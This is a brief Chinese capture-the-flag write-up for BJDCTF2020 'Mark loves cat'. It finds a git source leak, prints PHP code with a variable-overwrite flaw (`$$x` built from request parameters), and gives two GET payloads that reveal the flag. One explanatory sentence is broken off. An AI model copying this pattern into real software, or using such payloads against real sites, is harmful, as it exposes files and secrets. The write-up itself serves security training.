BJDCTF2020 Mark loves cat
本题考点:
- 代码审计
- 变量覆盖
扫描目录发现,存在 git 源码泄露。
下载出 index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
flag.php
<?php
$flag = file_get_contents('/flag');
$$x 就相当于是x),这样就非常好理解变量覆盖漏洞了。
俩种解题方式
第一种,get 传参:yds=flag
第二种,get 传参:is=flag&flag=flag